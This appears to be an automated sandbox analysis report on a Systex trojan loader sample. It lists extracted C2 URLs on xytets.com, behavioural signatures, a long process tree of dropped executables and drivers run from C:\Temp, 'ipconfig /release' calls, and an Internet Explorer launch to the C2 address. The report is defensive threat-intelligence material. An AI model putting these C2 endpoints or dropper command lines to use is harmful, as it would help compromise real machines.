Analysis
- max time kernel
149s - max time network
145s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
26/10/2026, 13:21
General
- Target 2026-10-25_c2385f26f190ec522279f1312acb8124_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
- Size 361KB
- Sample261026-qlpr4sw1cs
- SHA256 456e47a6cbfbda95176e4eb5896d4cfdaa8fbca25349ae2aaa1be8f5d20504ea
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba
-
http://xytets.com:2345/t.asp?os=home
-
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 35 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 60 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-10-25_c2385f26f190ec522279f1312acb8124_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-25_c2385f26f190ec522279f1312acb8124_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\gdywqoigaytqljdb.exeC:\Temp\gdywqoigaytqljdb.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\oigbytoigb.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\oigbytoigb.exeC:\Temp\oigbytoigb.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_oigbytoigb.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_oigbytoigb.exeC:\Temp\i_oigbytoigb.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qlidbvtnlg.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\qlidbvtnlg.exeC:\Temp\qlidbvtnlg.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qlidbvtnlg.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_qlidbvtnlg.exeC:\Temp\i_qlidbvtnlg.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\xvpnifavsn.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\xvpnifavsn.exeC:\Temp\xvpnifavsn.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_xvpnifavsn.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_xvpnifavsn.exeC:\Temp\i_xvpnifavsn.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nkfdxvpnhf.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\nkfdxvpnhf.exeC:\Temp\nkfdxvpnhf.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nkfdxvpnhf.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_nkfdxvpnhf.exeC:\Temp\i_nkfdxvpnhf.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\fausmkecxr.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\fausmkecxr.exeC:\Temp\fausmkecxr.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_fausmkecxr.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_fausmkecxr.exeC:\Temp\i_fausmkecxr.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rmkecwupmh.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\rmkecwupmh.exeC:\Temp\rmkecwupmh.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rmkecwupmh.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_rmkecwupmh.exeC:\Temp\i_rmkecwupmh.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ecwuomgezw.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ecwuomgezw.exeC:\Temp\ecwuomgezw.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ecwuomgezw.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ecwuomgezw.exeC:\Temp\i_ecwuomgezw.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\tomgeywqoj.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\tomgeywqoj.exeC:\Temp\tomgeywqoj.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_tomgeywqoj.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_tomgeywqoj.exeC:\Temp\i_tomgeywqoj.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\olgeywqoig.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\olgeywqoig.exeC:\Temp\olgeywqoig.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_olgeywqoig.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_olgeywqoig.exeC:\Temp\i_olgeywqoig.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\gaytqljdbv.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\gaytqljdbv.exeC:\Temp\gaytqljdbv.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_gaytqljdbv.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_gaytqljdbv.exeC:\Temp\i_gaytqljdbv.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\aysqlidavt.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\aysqlidavt.exeC:\Temp\aysqlidavt.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_aysqlidavt.exe ups_ins3⤵
-
C:\Temp\i_aysqlidavt.exeC:\Temp\i_aysqlidavt.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\spkicausnk.exe ups_run3⤵
-
C:\Temp\spkicausnk.exeC:\Temp\spkicausnk.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_spkicausnk.exe ups_ins3⤵
-
C:\Temp\i_spkicausnk.exeC:\Temp\i_spkicausnk.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\xsqkicausn.exe ups_run3⤵
-
C:\Temp\xsqkicausn.exeC:\Temp\xsqkicausn.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_xsqkicausn.exe ups_ins3⤵
-
C:\Temp\i_xsqkicausn.exeC:\Temp\i_xsqkicausn.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rpkhcausmk.exe ups_run3⤵
-
C:\Temp\rpkhcausmk.exeC:\Temp\rpkhcausmk.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rpkhcausmk.exe ups_ins3⤵
-
C:\Temp\i_rpkhcausmk.exeC:\Temp\i_rpkhcausmk.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\pjhbztrmke.exe ups_run3⤵
-
C:\Temp\pjhbztrmke.exeC:\Temp\pjhbztrmke.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_pjhbztrmke.exe ups_ins3⤵
-
C:\Temp\i_pjhbztrmke.exeC:\Temp\i_pjhbztrmke.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jebwuomgey.exe ups_run3⤵
-
C:\Temp\jebwuomgey.exeC:\Temp\jebwuomgey.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jebwuomgey.exe ups_ins3⤵
-
C:\Temp\i_jebwuomgey.exeC:\Temp\i_jebwuomgey.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mgeywqojgb.exe ups_run3⤵
-
C:\Temp\mgeywqojgb.exeC:\Temp\mgeywqojgb.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mgeywqojgb.exe ups_ins3⤵
-
C:\Temp\i_mgeywqojgb.exeC:\Temp\i_mgeywqojgb.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qoigaytrlj.exe ups_run3⤵
-
C:\Temp\qoigaytrlj.exeC:\Temp\qoigaytrlj.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qoigaytrlj.exe ups_ins3⤵
-
C:\Temp\i_qoigaytrlj.exeC:\Temp\i_qoigaytrlj.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\lidbvtnlfd.exe ups_run3⤵
-
C:\Temp\lidbvtnlfd.exeC:\Temp\lidbvtnlfd.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_lidbvtnlfd.exe ups_ins3⤵
-
C:\Temp\i_lidbvtnlfd.exeC:\Temp\i_lidbvtnlfd.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2888 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Temp\gdywqoigaytqljdb.sysC:\Temp\gdywqoigaytqljdb.sys1⤵
- Executes dropped EXE
-
C:\Temp\avtnlgdyvq.sysC:\Temp\avtnlgdyvq.sys1⤵
- Executes dropped EXE
-
C:\Temp\idavtnlfdx.sysC:\Temp\idavtnlfdx.sys1⤵
- Executes dropped EXE
-
C:\Temp\causnkfdxv.sysC:\Temp\causnkfdxv.sys1⤵
- Executes dropped EXE
-
C:\Temp\mkecxupnhf.sysC:\Temp\mkecxupnhf.sys1⤵
- Executes dropped EXE
-
C:\Temp\zxrpjhczus.sysC:\Temp\zxrpjhczus.sys1⤵
- Executes dropped EXE
-
C:\Temp\ojhbzurmje.sysC:\Temp\ojhbzurmje.sys1⤵
- Executes dropped EXE
-
C:\Temp\jhbztrmjeb.sysC:\Temp\jhbztrmjeb.sys1⤵
- Executes dropped EXE
-
C:\Temp\ztrljdbwto.sysC:\Temp\ztrljdbwto.sys1⤵
- Executes dropped EXE
-
C:\Temp\nigaysqlid.sysC:\Temp\nigaysqlid.sys1⤵
- Executes dropped EXE
-
C:\Temp\ifaysqkida.sysC:\Temp\ifaysqkida.sys1⤵
- Executes dropped EXE
-
C:\Temp\lfdxvpnifa.sysC:\Temp\lfdxvpnifa.sys1⤵
-
C:\Temp\fzxspkicau.sysC:\Temp\fzxspkicau.sys1⤵
-
C:\Temp\euomhezxrp.sysC:\Temp\euomhezxrp.sys1⤵
-
C:\Temp\zxrpjhbzur.sysC:\Temp\zxrpjhbzur.sys1⤵
-
C:\Temp\trljebwtom.sysC:\Temp\trljebwtom.sys1⤵
-
C:\Temp\bvtolgdywq.sysC:\Temp\bvtolgdywq.sys1⤵
-
C:\Temp\vqoigaytql.sysC:\Temp\vqoigaytql.sys1⤵
-
C:\Temp\tnlfdxvqni.sysC:\Temp\tnlfdxvqni.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CreateProcess.exe
avtnlgdyvq.sys
causnkfdxv.sys
ecwuomgezw.exe
fausmkecxr.exe
gdywqoigaytqljdb.exe
gdywqoigaytqljdb.sys
i_ecwuomgezw.exe
i_fausmkecxr.exe
i_nkfdxvpnhf.exe
i_oigbytoigb.exe
i_qlidbvtnlg.exe
i_rmkecwupmh.exe
i_xvpnifavsn.exe
idavtnlfdx.sys
jhbztrmjeb.sys
mkecxupnhf.sys
nkfdxvpnhf.exe
oigbytoigb.exe
ojhbzurmje.sys
qlidbvtnlg.exe
rmkecwupmh.exe
tomgeywqoj.exe
xvpnifavsn.exe
zxrpjhczus.sys
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
suggestions[1].en-US
memory/212-76-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/804-151-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/920-33-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/952-147-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/952-142-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1248-21-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1364-146-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2092-159-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2172-123-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2424-14-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2808-127-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2964-131-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4072-100-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4268-88-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4364-155-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4764-106-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4940-45-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4948-135-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4968-62-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4992-163-0x0000000000010000-0x00000000000AB000-memory.dmp